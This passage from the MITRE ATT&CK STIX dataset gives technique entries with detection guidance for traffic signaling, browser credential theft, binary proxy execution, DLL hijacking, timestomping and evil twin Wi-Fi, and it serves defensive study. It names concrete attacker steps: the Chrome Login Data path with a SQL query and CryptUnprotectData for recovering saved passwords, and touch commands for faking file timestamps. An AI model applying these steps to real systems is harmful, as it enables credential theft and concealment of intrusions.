                    "source_name": "Bleeping Computer - Ryuk WoL",
                    "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021.",
                    "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/"
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                {
                    "source_name": "AMD Magic Packet",
                    "description": "AMD. (1995, November 1). Magic Packet Technical White Paper. Retrieved February 17, 2021.",
                    "url": "https://www.amd.com/system/files/TechDocs/20213.pdf"
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                {
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                    "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/synful-knock-acis/"
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                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
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                {
                    "source_name": "Hartrell cd00r 2002",
                    "description": "Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.",
                    "url": "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631"
                },
                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
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                {
                    "source_name": "GitLab WakeOnLAN",
                    "description": "Perry, David. (2020, August 11). WakeOnLAN (WOL). Retrieved February 17, 2021.",
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            "modified": "2025-04-15T19:58:27.071Z",
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            "description": "Adversaries may use traffic signaling to hide open ports or other malicious functionality used for persistence or command and control. Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.\n\nAdversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.\n\nOn network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.  Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.  Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks)  To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.\n\nAdversaries may also use the Wake-on-LAN feature to turn on powered off systems. Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)",
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                    "url": "https://attack.mitre.org/techniques/T1021/008",
                    "external_id": "T1021.008"
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                {
                    "source_name": "EC2 Instance Connect",
                    "description": "AWS. (2023, June 2). Connect using EC2 Instance Connect. Retrieved June 2, 2023.",
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                    "source_name": "AWS System Manager",
                    "description": "AWS. (2023, June 2). What is AWS System Manager?. Retrieved June 2, 2023.",
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                {
                    "source_name": "lucr-3: Getting SaaS-y in the cloud",
                    "description": "Ian Ahl. (2023, September 20). LUCR-3: Scattered Spider Getting SaaS-y In The Cloud. Retrieved September 20, 2023.",
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                    "source_name": "SIM Swapping and Abuse of the Microsoft Azure Serial Console",
                    "description": "Mandiant Intelligence. (2023, May 16). SIM Swapping and Abuse of the Microsoft Azure Serial Console: Serial Is Part of a Well Balanced Attack. Retrieved June 2, 2023.",
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                {
                    "source_name": "Azure Serial Console",
                    "description": "Microsoft. (2022, October 17). Azure Serial Console. Retrieved June 2, 2023.",
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            "modified": "2025-04-15T22:18:53.305Z",
            "name": "Direct Cloud VM Connections",
            "description": "Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods. Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager).\n\nMethods of authentication for these connections can include passwords, application access tokens, or SSH keys. These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access. \n\nAdversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)).",
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                    "url": "https://attack.mitre.org/techniques/T1503",
                    "external_id": "T1503"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
                },
                {
                    "source_name": "Microsoft CryptUnprotectData April 2018",
                    "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata"
                },
                {
                    "source_name": "Proofpoint Vega Credential Stealer May 2018",
                    "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign"
                },
                {
                    "source_name": "FireEye HawkEye Malware July 2017",
                    "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html"
                },
                {
                    "source_name": "GitHub Mimikittenz July 2016",
                    "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.",
                    "url": "https://github.com/putterpanda/mimikittenz"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:28.073Z",
            "name": "Credentials from Web Browsers",
            "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.  (Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim\u2019s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ryan Benson, Exabeam",
                "Barry Shteiman, Exabeam",
                "Sylvain Gil, Exabeam",
                "RedHuntLabs, @redhuntlabs"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Identify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code>. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218",
                    "external_id": "T1218"
                },
                {
                    "source_name": "GTFO split",
                    "description": "GTFOBins. (2020, November 13). split. Retrieved April 18, 2022.",
                    "url": "https://gtfobins.github.io/gtfobins/split/"
                },
                {
                    "source_name": "LOLBAS Project",
                    "description": "Oddvar Moe et al. (2022, February).  Living Off The Land Binaries, Scripts and Libraries. Retrieved March 7, 2022.",
                    "url": "https://github.com/LOLBAS-Project/LOLBAS#criteria"
                },
                {
                    "source_name": "split man page",
                    "description": "Torbjorn Granlund, Richard M. Stallman. (2020, March null). split(1) \u2014 Linux manual page. Retrieved March 25, 2022.",
                    "url": "https://man7.org/linux/man-pages/man1/split.1.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:27.332Z",
            "name": "System Binary Proxy Execution",
            "description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.(Citation: LOLBAS Project) Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands.\n\nSimilarly, on Linux systems adversaries may abuse trusted binaries such as <code>split</code> to proxy execution of malicious commands.(Citation: split man page)(Citation: GTFO split)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Nishan Maharjan, @loki248",
                "Hans Christoffer Gaardl\u00f8s",
                "Praetorian",
                "Wes Hurd"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\n\nMonitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "3.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Connection Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Module: Module Load",
                "File: File Creation",
                "Process: OS API Execution",
                "Process: Process Creation",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--45d84c8b-c1e2-474d-a14d-69b5de0a2bc0",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1153",
                    "external_id": "T1153"
                },
                {
                    "source_name": "Source Manual",
                    "description": "ss64. (n.d.). Source or Dot Operator. Retrieved May 21, 2019.",
                    "url": "https://ss64.com/bash/source.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:28.323Z",
            "name": "Source",
            "description": "**This technique has been deprecated and should no longer be used.**\n\nThe <code>source</code> command loads functions into the current shell or executes files in the current context. This built-in command can be run in two different ways <code>source /path/to/filename [arguments]</code> or <code>.**This technique has been deprecated and should no longer be used.** /path/to/filename [arguments]</code>. Take note of the space after the \".\". Without a space, a new shell is created that runs the program instead of running the program within the current context. This is often used to make certain features or functions available to a shell or to update a specific shell's environment.(Citation: Source Manual)\n\nAdversaries can abuse this functionality to execute programs. The file executed with this technique does not need to be marked executable beforehand.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": true,
            "x_mitre_detection": "Monitor for command shell execution of source and subsequent processes that are started as a result of being executed by a source command. Adversaries must also drop a file to disk in order to execute it with source, and these files can also detected by file monitoring.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "2.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586",
            "created": "2017-05-31T21:30:40.604Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1038",
                    "external_id": "T1038"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/471.html",
                    "external_id": "CAPEC-471"
                },
                {
                    "source_name": "Microsoft DLL Search",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
                    "url": "http://msdn.microsoft.com/en-US/library/ms682586"
                },
                {
                    "source_name": "OWASP Binary Planting",
                    "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.",
                    "url": "https://www.owasp.org/index.php/Binary_planting"
                },
                {
                    "source_name": "Microsoft 2269637",
                    "description": "Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.",
                    "url": "https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/"
                },
                {
                    "source_name": "Microsoft DLL Redirection",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved December 5, 2014.",
                    "url": "http://msdn.microsoft.com/en-US/library/ms682600"
                },
                {
                    "source_name": "Microsoft Manifests",
                    "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.",
                    "url": "https://msdn.microsoft.com/en-US/library/aa375365"
                },
                {
                    "source_name": "Mandiant Search Order",
                    "description": "Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. Retrieved December 5, 2014.",
                    "url": "https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:28.536Z",
            "name": "DLL Search Order Hijacking",
            "description": "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence. \n\nAdversaries may perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft 2269637) Adversaries may use this behavior to cause the program to load a malicious DLL. \n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation. (Citation: Microsoft DLL Redirection) (Citation: Microsoft Manifests) (Citation: Mandiant Search Order)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\n\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Stefan Kanthak",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790",
            "created": "2017-05-31T21:30:45.613Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1050",
                    "external_id": "T1050"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/550.html",
                    "external_id": "CAPEC-550"
                },
                {
                    "source_name": "TechNet Services",
                    "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"
                },
                {
                    "source_name": "Microsoft 4697 APR 2017",
                    "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.",
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697"
                },
                {
                    "source_name": "Microsoft Windows Event Forwarding FEB 2018",
                    "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.",
                    "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection"
                },
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:28.693Z",
            "name": "New Service",
            "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Pedro Harrison"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor service creation through changes in the Registry and common utilities using command-line invocation. Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017) (Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could create services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "created": "2020-01-31T12:42:44.103Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1070/006",
                    "external_id": "T1070.006"
                },
                {
                    "source_name": "Juniper Networks ESXi Backdoor 2022",
                    "description": "Asher Langton. (2022, December 9). A Custom Python Backdoor for VMWare ESXi Servers. Retrieved March 26, 2025.",
                    "url": "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
                },
                {
                    "source_name": "WindowsIR Anti-Forensic Techniques",
                    "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.",
                    "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html"
                },
                {
                    "source_name": "Inversecos Linux Timestomping",
                    "description": "inversecos. (2022, August 4). Detecting Linux Anti-Forensics: Timestomping. Retrieved March 26, 2025.",
                    "url": "https://www.inversecos.com/2022/08/detecting-linux-anti-forensics.html"
                },
                {
                    "source_name": "Inversecos Timestomping 2022",
                    "description": "Lina Lau. (2022, April 28). Defence Evasion Technique: Timestomping Detection \u2013 NTFS Forensics. Retrieved September 30, 2024.",
                    "url": "https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html"
                },
                {
                    "source_name": "Magnet Forensics",
                    "description": "Magnet Forensics. (2020, August 24). Expose Evidence of Timestomping with the NTFS Timestamp Mismatch Artifact. Retrieved June 20, 2024.",
                    "url": "https://www.magnetforensics.com/blog/expose-evidence-of-timestomping-with-the-ntfs-timestamp-mismatch-artifact-in-magnet-axiom-4-4/"
                },
                {
                    "source_name": "Double Timestomping",
                    "description": "Matthew Dunwoody. (2022, April 28). I have seen double-timestomping ITW, including by APT29. Stay sharp out there.. Retrieved June 20, 2024.",
                    "url": "https://x.com/matthewdunwoody/status/1519846657646604289"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:27.752Z",
            "name": "Timestomp",
            "description": "Adversaries may modify file time attributes to hide new files or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder and blend malicious files with legitimate files.\n\nIn Windows systems, both the `$STANDARD_INFORMATION` (`$SI`) and `$FILE_NAME` (`$FN`) attributes record times in a Master File Table (MFT) file.(Citation: Inversecos Timestomping 2022) `$SI` (dates/time stamps) is displayed to the end user, including in the File System view, while `$FN` is dealt with by the kernel.(Citation: Magnet Forensics)\n\nModifying the `$SI` attribute is the most common method of timestomping because it can be modified at the user level using API calls. `$FN` timestomping, however, typically requires interacting with the system kernel or moving or renaming a file.(Citation: Inversecos Timestomping 2022)\n\nAdversaries modify timestamps on files so that they do not appear conspicuous to forensic investigators or file analysis tools. In order to evade detections that rely on identifying discrepancies between the `$SI` and `$FN` attributes, adversaries may also engage in \u201cdouble timestomping\u201d by modifying times on both attributes simultaneously.(Citation: Double Timestomping)\n\nIn Linux systems and on ESXi servers, threat actors may attempt to perform timestomping using commands such as `touch -a -m -t <timestamp> <filename>` (which sets access and modification times to a specific value) or `touch -r <filename> <filename>` (which sets access and modification times to match those of another file).(Citation: Inversecos Linux Timestomping)(Citation: Juniper Networks ESXi Backdoor 2022)\n\nTimestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)",
            "kill_chain_phases": [
                {
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            "x_mitre_contributors": [
                "Romain Dumont, ESET",
                "Mike Hartley @mikehartley10"
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            "x_mitre_detection": "Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
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            "x_mitre_platforms": [
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                "macOS",
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                "File: File Metadata",
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            "type": "attack-pattern",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1557/004",
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                },
                {
                    "source_name": "Kaspersky evil twin",
                    "description": "AO Kaspersky Lab. (n.d.). Evil twin attacks and how to prevent them. Retrieved September 17, 2024.",
                    "url": "https://usa.kaspersky.com/resource-center/preemptive-safety/evil-twin-attacks"
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                {
                    "source_name": "medium evil twin",
                    "description": "Gihan, Kavishka. (2021, August 8). Wireless Security\u2014 Evil Twin Attack. Retrieved September 17, 2024.",
                    "url": "https://kavigihan.medium.com/wireless-security-evil-twin-attack-d3842f4aef59"
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                    "source_name": "specter ops evil twin",
                    "description": "Ryan, Gabriel. (2019, October 28). Modern Wireless Tradecraft Pt I \u2014 Basic Rogue AP Theory \u2014 Evil Twin and Karma Attacks. Retrieved September 17, 2024.",
                    "url": "https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee"
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                {
                    "source_name": "Australia \u2018Evil Twin\u2019",
                    "description": "Toulas, Bill. (2024, July 1). Australian charged for \u2018Evil Twin\u2019 WiFi attack on plane. Retrieved September 17, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/australian-charged-for-evil-twin-wifi-attack-on-plane/"
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            "description": "Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040), [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002), or [Input Capture](https://attack.mitre.org/techniques/T1056).(Citation: Australia \u2018Evil Twin\u2019)\n\nBy using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks.(Citation: Kaspersky evil twin)(Citation: medium evil twin)  Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks.(Citation: specter ops evil twin)  A Wi-Fi Pineapple \u2013 a network security auditing and penetration testing tool \u2013 may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic. \n\nSimilarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network.(Citation: specter ops evil twin)  Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network.\n\nUpon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim\u2019s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points. ",
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            "x_mitre_contributors": [
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                "DeFord L. Smith"
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            "x_mitre_detection": "",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1620",
                    "external_id": "T1620"
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                {
